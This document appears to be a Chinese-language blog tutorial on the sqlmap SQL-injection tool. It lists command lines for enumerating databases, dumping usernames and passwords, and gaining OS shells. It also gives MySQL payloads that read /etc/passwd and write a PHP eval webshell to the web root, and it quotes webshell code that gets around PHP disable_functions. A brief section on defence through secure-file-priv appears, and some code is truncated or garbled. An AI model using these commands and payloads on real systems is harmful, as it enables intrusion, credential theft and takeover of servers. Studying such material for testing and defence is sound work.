什么是sqlmap?
sqlmap是一个开源的渗透测试工具,它自动化了检测和利用SQL注入缺陷 以及接管数据库服务器的过程。它配备了一个强大的检测引擎 ,以及终极渗透测试仪中的许多小众功能,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取完全操作权限时执行任意命令。
开发语言: Python
sqlmap目前支持的数据库共 25 种
全面支持 MySQL, Oracle , Microsoft SQL Server , Microsoft Access , PostgreSQL , IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB and Virtuoso 数据库。
强大的 sqlmap有哪些功能?
判断可注入的参数
判断可以用那种SQL注入技术来注入
识别出哪种数据库
根据用户的选择,读取哪些数据
可执行情况
当前数据库用户名称和拥有的权限
发现WEB虚拟目录
上传 getshel
绕过防火墙
sqlmap的基本工作流程
当给 sqlmap这么一个url的时候,它会
检测网站是否能够访问
检测是否有Waf
判断可注入的参数
判断可以用那种SQL注入技术来注入
识别出哪种数据库
根据用户输入的参数,进行操作
sqlmap支持的 六种 不同注入模式
基于布尔盲注 :即可以根据返回页面判断条件真假的注入。
基于时间盲注 :即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间)来判断。
基于报错注入 :即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
联合查询注入 :可以使用 union的情况下的注入。
堆查询注入 :可以同时执行多条语句的执行时的注入。
内联查询注入 :在Sql语句中执行sql语句。
相关官方网址集合
sqlmap官网 :https://sqlmap.org
sqlmap Github :https://github.com/sqlmapproject/sqlmap/wiki
Python 官网 :https://www.python.org/
Kali系统官网 :https://www.kali.org/
windows系统安装
sqlmap是基于Python开发的,所以要有Python环境。在python官网https://www.python.org下载与自己操作系统匹的环境,并安装。**注意:老版本SqlMap 2.6≤所需Pyhton版本<3.0** ,最新版本SqlMap1.5.9已经支持Python3
将 sqlmap从官网上下载下来,并安装到 python的运行目录下。在 sqlmap的目录中,创建一个cmd的快捷方式,并改名为
sqlmap,双击便可直接运行。
输入执行 sqlmap. py -h 若显示一下界面,说明安装完成
Linux系统安装
GET提交方式
python sqlmap.py -u [url]
python sqlmap.py -u [url] --dbs
python sqlmap.py -u [url] --current-db
python sqlmap.py -u [url] --current-user
python sqlmap.py -u [url] -D security --tables
python sqlmap.py -u [url] -D security -T users --columns
python sqlmap.py -u [url] -D security -T users -C id,username,password --dump
python sqlmap.py -u [url] --purge
python sqlmap.py -u [url] --flush-session
python sqlmap.py -u [url] --batch
POST 提交方式
python sqlmap.py -u [url] --data "uname=admin&passwd=admin"
python sqlmap.py -r 1.txt -p uname
python sqlmap.py -r 1.txt
常用参数
python sqlmap.py -u [url] --privileges //测试所有用户的权限
python sqlmap.py -u [url] --privileges -U sa //测试sa用户的权限
python sqlmap.py -u [url] --roles //测试所有用户的权限
#** ** 注意:若目标是MSSql数据库,这一参数会列出每个用户是否是管理员而不列出每个用户的具体权限。
python sqlmap.py -u [url] --os-cmd="net user" // windows系统执行net user命令
python sqlmap.py -u [url] --os-shell // linux系统交互式shell
python sqlmap.py -u [url] --users --passwords
python sqlmap.py -u [url] -v 3
#注意:在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值
python sqlmap.py -u [url] --level 3
#说明:该命令用于査看当前账户是否为数据库管理员账户。
python sqlmap.py -u [url] --is-dba
python sqlmap.py -m url.txt --batch
python sqlmap.py -u [url] --cookie="SESSIONID=xxxx;NAME=ichunqiu;" --level 2 --data ""
python sqlmap.py -u [url] --user-agent="Mozilla/5.0" //指定UA头
python sqlmap.py -u [url] --random-agent //从txt字典内随机指定UA头
python sqlmap.py -u [url] --referer "http://www.baidu.com" //指定referer
进阶参数
python sqlmap.py -u [url] --technique T/U/E/B
python sqlmap.py -u [url] --technique T --time-sec 5
python sqlmap.py -u [url] --proxy=http://127.0.0.1:8080
python sqlmap.py -u url --delay 5
python sqlmap.py -u [url] --threads 3
python sqlmap.py -g inurl:.php?id=
python sqlmap.py -u [url] --dbms=mysql
python sqlmap.py -u [url] --risk 2
python sqlmap.py -u [url] -a
python sqlmap.py -u [url] -b
python sqlmap.py -u [url] --dump-all
python sqlmap.py -u [url] --os-pwn
python sqlmap.py -u [url] --wizard
doc 目录:包含 sqlmap的简要说明,具体使用说明、作者信息等。
extra 目录:包含了 sqlmap的额外功能,例如发出声响、运行cmd、安全执行等。例如-beep参数。
lib 目录:sqlmap核心目录。
plugins 目录:包含了 sqlmap目前支持的25种数据库信息和数据库通用事项。
tamper 目录:这里包含了各种辅助脚本,比如常见的waf绕过脚本。
thirdparty 目录:包含了第三方插件,例如优化、保持连接、颜色。
data 目录:
procs 目录:包含了 mssql、 mysql、 oracle、 postgresql的触发程序。
shell 目录:包含了注入成功后的8种shell远程命令执行。
txt 目录:包含了表名字典,列名字典,UA字典等。
udf 目录:涉及UDF提权相关的文件。
xml 目录:存放多种数据库注入检测的 payload等信息。
执行指定SQL语句
python sqlmap.py -u [url] --sql-query="select version()"
交互式的SQL命令行
python sqlmap.py -u [url] --sql-shell
执行文件中的SQL语句
python sqlmap.py -u [url] --sql-file="/home/wu/Desktop/1.sql"
危害与防御
了解SQL注入可以进行文件读写操作带来的危害
如果当前web页面存在SQL注入漏洞,且当前的用户是root权限,且可以进行文件读写操作。
我们可以在知道绝对路径的情况下,尝试上传一个一句话木马,并用菜刀连接后,获取到网站的 getshell。
SQL注入导致的文件读写的防御方法
将 secure-file-priv的参数在 my.ini中配置为 secure-file-priv=null将会限制 mysqld不允许导入导出操作。
secure-file-priv可以通过 select @@secure_file_priv;查询得到。
在用户输入可控参数时,对敏感语句进行过滤。
读文件
secure-file-priv (show variables)
要么禁用,要么设置了路径 // show variables like '%secure%'
目录权限
对于mysql来说,有可以对某个目录进行读写的权限
Selinux
是2.6版本的 Linux内核中提供的强制访问控制(MAC)系统
apparmor
AppArmor是一个高效和易于使用的 Linux系统安全应用程序
max allowed packed //读写文件最大的字节数
知道绝对路径
文件必须在服务器上存在
如何查看 secure-file-priv的值:select @@secure_file_priv
利用mysql的 load_file 函数
load_file('c://windows//win.ini')
load_file('c://windows//win.ini')
load_file('c:\windows\win.ini')
load_file('/etc/passwd')
load_file(0×633A2F2F77696E646F77732F2F77696E2E696E69)
load_file(char(99,58,47,47,119,105,110,100,111,119,115,47,47,19,105,110,46,105,110,105))
hex(load_file(0×633A2F2F77696E646F77732F2F77696E2E696E69))
读取文件
python sqlmap.py -u [url] --file-read "/etc/passwd"
写文件
secure-file-priv (show variables)
要么禁用,要么设置了路径 // show variables like '%secure%'
目录权限
对于mysql来说,有可以对某个目录进行读写的权限
Selinux
是2.6版本的 Linux内核中提供的强制访问控制(MAC)系统
apparmor
AppArmor是一个高效和易于使用的 Linux系统安全应用程序
知道绝对路径
必须能绕过单引号过滤
outfile 函数:可写多行,数据格式可能会受操作系统影响
dumpfile 函数:可写单行,数据格式不会受操作系统影响
union select 1, 2, 'aaa' into outfile 'C:\\phpstudy pro\\www\\test1.txt'
union select 1, 2, 'aaa' into dumpfile 'C:/phpstudy pro/www/test1.txt'
union select 1, 2, 0x616161 into dumpfile 'C:\\phpstudy_pro\\www\\test3.txt'
union select 1, 2, CHAR(97, 97, 97) into dumpfile 'C:\\phpstudy_pro\\test4.txt'
union select 1, 2, into outfile 'c://1.php' fields terminated by '123'
union select 1, 2, '<?php eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'
union select 1, 2, 0x3c3f706870206576616C28245f504 into outfile '/var/www/html/shell.php'
上传文件
python sqlmap.py -u [url] --file-write "c:/123.txt" --file-dest "C:/phpstudy_pro/www/test.php"
执行命令
python sqlmap.py -u [url] --os-cmd="net user" // windows系统执行net user命令
python sqlmap.py -u [url] --os-shell // linux系统交互式shell
分析sqlmap --os-shell原理(简单分析写入的php文件)
执行效果:
小马代码截图:
小马简单分析:
当上传upload的值非空时,获取上传目录路径,根据php版本不同,选择合适的HTTP 文件上传变量 来接收。若php < 4.1.0,使用$HTTP_POST_FILES,否则使用$_FILES
大马代码截图:
大马简单分析:
涉及的函数:
set_time_limit() //设置脚本最大执行时间,单位为秒。如果设置为0,没有时间方面的限制。
ignore_user_abort() //设置客户端断开连接时是否中断脚本的执行,默认为false,若为true时,脚本将一直保持运行
ini_set() //是php自带的用来修改设置php.ini配置文件的函数
ini_get() //和ini_set相反,用来获取php.ini文件里的环境变量的值
preg_replace() //执行一个正则表达式的搜索和替换
explode() //使用一个字符串分割另一个字符串
array_map() //为数组的每个元素应用回调函数
trim() //去除字符串首尾处的空白字符(或其他字符)
disable_functions
为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。
disable_functions其实是一个黑名单机制,我们可以通过观察是否存在可利用的漏网之鱼,直接通过其实现绕过即可。
常规绕过:exec,shell_exec,system,passthru,popen,proc_open
更多详细绕过姿势参考下方:https://baijiahao.baidu.com/s?id=1659386031704746677&wfr=spider&for=pc
2>&1
程序运行后会打开三个文件描述符,分别是标准输入0,标准输出1和标准错误输出2。
在调用脚本时,可使用2>&1来将标准错误输出重定向到标准输出。
只需要查看脚本的错误时,可将标准输出重定向到文件,而标准错误会打印在控制台,便于查看。
>> log.txt会将重定向内容追加到log.txt文件末尾。
通过查看/proc/进程id/fd下的内容,可了解进程打开的文件描述符信息。
过程简单分析:
&1\n"; //标准错误输出重定向到标准输出 function f($n){ global $z; return is_callable($n)and!in_array($n,$z); } //常规绕过disable_functions:exec,shell_exec,system,passthru,popen,proc_open //下面就是通过一个多分分支语句,一个一个尝试,看是否可以绕过 if(f("system")) { ob_start(); system($c); $w=ob_get_clean(); }elseif(f("proc_open")){ $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t); $w=NULL; while(!feof($t[1])) { $w.=fread($t[1],512); } @proc_close($y); }elseif(f("shell_exec")){ $w=shell_exec($c); }elseif(f("passthru")){ ob_start(); passthru($c); $w=ob_get_clean(); }elseif(f("popen")){ $x=popen($c,r); $w=NULL; if(is_resource($x)) { while(!feof($x)) { $w.=fread($x,512); } } @pclose($x); }elseif(f("exec")){ $w=array(); exec($c,$w); $w=join(chr(10),$w).chr(10); }else{ $w=0; } echo"$w"; ?>
断开连接自动删马
当 --os-shell退出连接后,目标机中的小马和大马会自动删除
手机扫一扫
移动阅读更方便
你可能感兴趣的文章